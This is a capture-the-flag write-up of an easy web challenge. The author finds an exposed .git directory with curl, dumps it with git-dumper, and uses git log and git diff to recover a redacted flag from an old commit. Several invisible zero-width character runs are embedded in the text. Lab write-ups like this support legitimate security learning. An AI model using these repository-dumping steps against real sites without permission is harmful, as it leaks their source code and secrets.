← Back to Writeups
CUSTOMEasyWeb

Старый коммит (Old Commit)

XESXOR9/10/20262 min read
#web#custom#easy#git_directory_enumeration#git_repository_dumping#git_history_analysis#linux

Старый коммит (Old Commit)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: git_directory_enumeration, git_repository_dumping, git_history_analysis

Summary

Task: Web page with Matrix animation hides a flag in an exposed .git repository's old commit. Solution: Dump the .git directory with git-dumper, inspect git log to find an older commit containing the flag in HTML.

Старый коммит (Old Commit) — Bug Makers CTF

Description

Чтобы найти флаг, нужно вернуться в прошлое. Адрес: https://old-commit.t1.bug-makers.ru

English summary: A web page is given at https://old-commit.t1.bug-makers.ru. The task name "Old Commit" and the hint "you need to go back in time" suggest examining version control history. The goal is to find a flag hidden in a previous version of the site.

Analysis

The target page displays a Matrix-style falling characters animation titled "БАГодельня" (a play on "bug" + Russian word). No visible flag or interesting content on the page itself. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key discovery: The .git directory is publicly accessible on the web server.

$ curl -s https://old-commit.t1.bug-makers.ru/.git/HEAD
ref: refs/heads/main

Directory listing is disabled (returns 403 on /.git/), but individual git objects can be fetched directly — a classic exposed .git misconfiguration.

Solution

Step 1: Dump the Git Repository

Used git-dumper to reconstruct the full repository from the exposed .git directory:

bash
git-dumper https://old-commit.t1.bug-makers.ru/.git tasks/bug-makers/old-commit/repo

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Examine Git History

Checked the commit log:

bash
$ git log --all --oneline
c5cdaab The Matrix has you...
8db3e34 Flag

Two commits found. The older commit 8db3e34 is literally named "Flag" — a strong hint.

Step 3: Diff the Commits

bash
$ git diff 8db3e34 c5cdaab

The diff revealed:

  • Old commit (8db3e34 — "Flag"): A simple HTML page with <h1>BugCTF{REDACTED}</h1>
  • New commit (c5cdaab — "The Matrix has you..."): Replaced the flag page with a Matrix canvas animation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Old commit content:

html
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Страница с флагом</title>
</head>
<body>
  <h1>BugCTF{REDACTED}</h1>
</body>

The flag was committed in the first commit and then overwritten with the Matrix animation in the second commit. Since the .git directory was left exposed, the entire history — including the deleted flag — was recoverable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍